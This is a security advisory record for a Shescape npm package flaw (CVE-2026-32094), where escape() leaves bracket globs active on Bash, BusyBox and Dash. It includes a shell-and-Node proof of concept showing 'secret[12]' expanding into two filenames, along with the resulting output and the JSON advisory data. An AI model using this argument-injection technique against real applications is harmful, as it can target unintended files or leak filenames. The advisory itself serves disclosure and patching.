GHSA-9JFH-9XRQ-4VWM

Vulnerability from github – Published: 2026-03-11 19:53 – Updated: 2026-03-11 21:38
VLAI?
Summary
Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash
Details

Summary

Shescape#escape() does not escape square-bracket glob syntax for Bash, BusyBox sh, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like secret[12] to expand into multiple filesystem matches instead of a single literal argument, turning one argument into multiple trusted-pathname matches.

Details

The unquoted Unix escape helpers never add [ or ] to their “special characters” regexes:

  • src/internal/unix/bash.js:14-30
  • src/internal/unix/busybox.js:14-30
  • src/internal/unix/dash.js:12-19

They escape */? but not brackets, so new Shescape({ shell: "/usr/bin/bash" }).escape("secret[12]") still produces secret[12]. The fixtures (test/fixtures/unix.js:2236-2265, 3496-3525, 5762-5792) are currently written to expect literal brackets for these shells, confirming the behavior. The documentation recommends Shescape#escape() as the fallback for exec when quoting isn’t possible (docs/recipes.md:154-183).

Proof of Concept

Use the published npm tarball without modifications:

tmp=$(mktemp -d)
cd "$tmp"
npm pack shescape@2.1.9 >/dev/null
mkdir pkg
tar -xzf shescape-2.1.9.tgz -C pkg
cd pkg/package
npm install --omit=dev

node --input-type=module - <<'NODE'
import { mkdtempSync, writeFileSync } from "node:fs";
import { tmpdir } from "node:os";
import path from "node:path";
import { execSync } from "node:child_process";
import { Shescape } from "./src/index.js";

const dir = mkdtempSync(path.join(tmpdir(), "shescape-ghsa-poc-"));
writeFileSync(path.join(dir, "secret1"), "");
writeFileSync(path.join(dir, "secret2"), "");

for (const shell of ["/usr/bin/bash", "/usr/bin/dash"]) {
  const shescape = new Shescape({ shell });
  const escaped = shescape.escape("secret[12]");
  console.log(${shell} escaped=${escaped});
  const out = execSync(printf '<%s>\\n' ${escaped}, { cwd: dir, shell }).toString();
  process.stdout.write(out);
}
NODE

Output:

/usr/bin/bash escaped=secret[12]
<secret1>
<secret2>
/usr/bin/dash escaped=secret[12]
<secret1>
<secret2>

Expected: the shell receives secret\[12\], so only one literal argument runs.

Impact

Argument injection: a single untrusted argument expands into multiple pathname matches from the trusted filesystem. This can change command behavior, target unintended files, or leak filenames. Any application calling Shescape#escape() with Bash/BusyBox/Dash shells and interpolating the result into a shell command string is affected.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "shescape"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32094"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T19:53:53Z",
    "nvd_published_at": "2026-03-11T20:16:17Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`Shescape#escape()` does not escape square-bracket glob syntax for Bash, BusyBox `sh`, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like `secret[12]` to expand into multiple filesystem matches instead of a single literal argument, turning one argument into multiple trusted-pathname matches.\n\n### Details\n\nThe unquoted Unix escape helpers never add `[` or `]` to their \u201cspecial characters\u201d regexes:\n\n- `src/internal/unix/bash.js:14-30`\n- `src/internal/unix/busybox.js:14-30`\n- `src/internal/unix/dash.js:12-19`\n\nThey escape `*`/`?` but not brackets, so `new Shescape({ shell: \"/usr/bin/bash\" }).escape(\"secret[12]\")` still produces `secret[12]`. The fixtures (`test/fixtures/unix.js:2236-2265`, `3496-3525`, `5762-5792`) are currently written to expect literal brackets for these shells, confirming the behavior. The documentation recommends `Shescape#escape()` as the fallback for `exec` when quoting isn\u2019t possible (`docs/recipes.md:154-183`).\n\n### Proof of Concept\n\nUse the published npm tarball without modifications:\n\n```shell\ntmp=$(mktemp -d)\ncd \"$tmp\"\nnpm pack shescape@2.1.9 \u003e/dev/null\nmkdir pkg\ntar -xzf shescape-2.1.9.tgz -C pkg\ncd pkg/package\nnpm install --omit=dev\n\nnode --input-type=module - \u003c\u003c\u0027NODE\u0027\nimport { mkdtempSync, writeFileSync } from \"node:fs\";\nimport { tmpdir } from \"node:os\";\nimport path from \"node:path\";\nimport { execSync } from \"node:child_process\";\nimport { Shescape } from \"./src/index.js\";\n\nconst dir = mkdtempSync(path.join(tmpdir(), \"shescape-ghsa-poc-\"));\nwriteFileSync(path.join(dir, \"secret1\"), \"\");\nwriteFileSync(path.join(dir, \"secret2\"), \"\");\n\nfor (const shell of [\"/usr/bin/bash\", \"/usr/bin/dash\"]) {\n  const shescape = new Shescape({ shell });\n  const escaped = shescape.escape(\"secret[12]\");\n  console.log(${shell} escaped=${escaped});\n  const out = execSync(printf \u0027\u003c%s\u003e\\\\n\u0027 ${escaped}, { cwd: dir, shell }).toString();\n  process.stdout.write(out);\n}\nNODE\n```\n\nOutput:\n\n```text\n/usr/bin/bash escaped=secret[12]\n\u003csecret1\u003e\n\u003csecret2\u003e\n/usr/bin/dash escaped=secret[12]\n\u003csecret1\u003e\n\u003csecret2\u003e\n```\n\nExpected: the shell receives `secret\\[12\\]`, so only one literal argument runs.\n\n### Impact\n\nArgument injection: a single untrusted argument expands into multiple pathname matches from the trusted filesystem. This can change command behavior, target unintended files, or leak filenames. Any application calling `Shescape#escape()` with Bash/BusyBox/Dash shells and interpolating the result into a shell command string is affected.",
  "id": "GHSA-9jfh-9xrq-4vwm",
  "modified": "2026-03-11T21:38:09Z",
  "published": "2026-03-11T19:53:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/security/advisories/GHSA-9jfh-9xrq-4vwm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32094"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/pull/2410"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/commit/6add105c6f6b508662bb5ae3b3bdd4c9bcebf37a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ericcornelissen/shescape"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ericcornelissen/shescape/releases/tag/v2.1.10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…